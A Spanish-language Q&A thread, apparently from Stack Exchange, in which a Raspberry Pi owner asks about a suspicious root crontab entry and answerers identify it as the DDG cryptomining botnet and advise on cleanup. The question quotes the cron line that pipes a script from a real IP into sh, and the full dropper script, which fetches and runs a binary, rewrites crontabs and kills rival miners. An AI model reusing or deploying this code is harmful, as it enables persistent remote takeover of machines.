Entrada crontab sospechosa que ejecuta 'xribfa4' cada 15 minutos

59

Quería agregar algo a mi archivo crontab raíz en mi Raspberry Pi, y encontré una entrada que me parece sospechosa, buscando partes de ella en Google no apareció nada.

Entrada de Crontab:

*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -m180 -fsSL http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh

Los contenidos de http://103.219.112.66:8000/i.shson:

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/root
echo "*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -fsSL -m180 http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh" >> /var/spool/cron/root
cp -f /var/spool/cron/root /var/spool/cron/crontabs/root

cd /tmp
touch /usr/local/bin/writeable && cd /usr/local/bin/
touch /usr/libexec/writeable && cd /usr/libexec/
touch /usr/bin/writeable && cd /usr/bin/
rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable

export PATH=$PATH:$(pwd)
ps auxf | grep -v grep | grep xribfa4 || rm -rf xribfa4
if [ ! -f "xribfa4" ]; then
    curl -fsSL -m1800 http://103.219.112.66:8000/static/4004/ddgs.$(uname -m) -o xribfa4||wget -q -T1800 http://103.219.112.66:8000/static/4004/ddgs.$(uname -m) -O xribfa4
fi
chmod +x xribfa4
/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4

ps auxf | grep -v grep | grep xribbcb | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribbcc | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribbcd | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribbce | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribfa0 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribfa1 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribfa2 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribfa3 | awk '{print $2}' | xargs kill -9

echo "*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -m180 -fsSL http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh" | crontab -

Mi conocimiento de Linux es limitado, pero para mí parece que descargar binarios de un servidor indonesio y ejecutarlos como root regularmente no es algo habitual.

¿Que es esto? ¿Qué tengo que hacer?

Peter Dam
fuente
16
Es circular. Cada 15 minutos se descarga e instala una copia nueva de sí mismo. Si / cuando se cambia la copia en el servidor remoto, todos los servidores que ejecutan este cronjob ejecutarán cualquiera que sea el nuevo código, en 15 minutos.
Comodín el
55
¿Tu raspberry pi está abierto a internet? ¿Cuál es tu raspberry pi funcionando? Este es el único resultado en Google cuando busco xribfa4. Si no está ejecutando un software que necesita hacer esto, entonces es probable que sea un virus.
kemotep
66
@kemotep esa cadena es aleatoria, pero google para la IP y da algunos resultados. Algo sobre una botnet ddg mining
frostschutz
99
Lo encontré. Es una locura que la IP esté registrada en un sitio del Gobierno de Indonesia. También parece que hay casi otros 2000 ips entregando esta carga útil.
kemotep
21
Lo principal que debe tener en cuenta es que, incluso si elimina esa entrada de crontab, es muy probable que su sistema tenga la vulnerabilidad que permitió que se infecte. Necesita encontrar y corregir esa vulnerabilidad.
Hans-Martin Mosner

Respuestas:

79

Es una botnet de minería DDG, cómo funciona:

  1. explotar una vulnerabilidad RCE
  2. modificando el crontab
  3. descargando el programa de minería apropiado (escrito con go)
  4. comenzando el proceso de minería

DDG: una botnet minera dirigida a servidores de bases de datos

SystemdMiner cuando una botnet toma prestada la infraestructura de otra botnet

U&L: ¿Cómo puedo eliminar el malware minerd en una instancia de AWS EC2? (servidor comprometido)

GAD3R
fuente
44
Sí, en realidad parece que esto es todo. ¡Gracias! Marcará esto como una respuesta, si no surge nada nuevo.
Peter Dam
8
No olvides los consejos habituales para una máquina rooteada: intenta descubrir cómo entraron para que puedas arreglar el agujero. Aprenda de esto y aumente su seguridad. Finalmente, inserte y reinstale la máquina.
Marcelm
3
La buena noticia es que no parecen tener un minero para Pi, solo para i686 y x86_64.
Mark
13
@ Mark ¿Cómo son esas buenas noticias? Alguien obtuvo el control total sobre su Pi usando un punto de entrada desconocido y tenía acceso completo a cualquier secreto sobre el Pi (incluidas, entre otras, las contraseñas). Si el minero corre o no está realmente en el ámbito de "pequeños inconvenientes".
Marcelm
44
@marcelm, el atacante obtuvo el control total sobre él, y luego casi seguramente no hizo nada significativo con ese control.
Mark
2

Determine qué puertos TCP y UDP son realmente necesarios y luego bloquee todos los demás puertos en el firewall de su enrutador. Posiblemente , esas entradas crontab no volverán a aparecer.

¡Puedes ver qué puertos están abiertos y públicos usando Shields Up! característica en grc.com .

Mike Waters
fuente
55
O podría arreglar la vulnerabilidad.
Harper - Restablece a Monica el
1
@ Harper ¡Absolutamente! Eso es un hecho. Estaba pensando que tal vez sin bloquear primero los puertos no utilizados, podría reinfectarse mientras intentaba repararlo.
Mike Waters
1
Comentario relevante de security.SE: security.stackexchange.com/questions/147770/…
Wildcard
1
Esto (sin limitarse solo a TCP y UDP), siempre. También un modelo de seguridad positivo, lista blanca o denegación por defecto: denegar todo el tráfico que no usa o necesita explícitamente, la única forma de garantizar que ninguno de sus agujeros esté expuesto a la penetración.
Antichris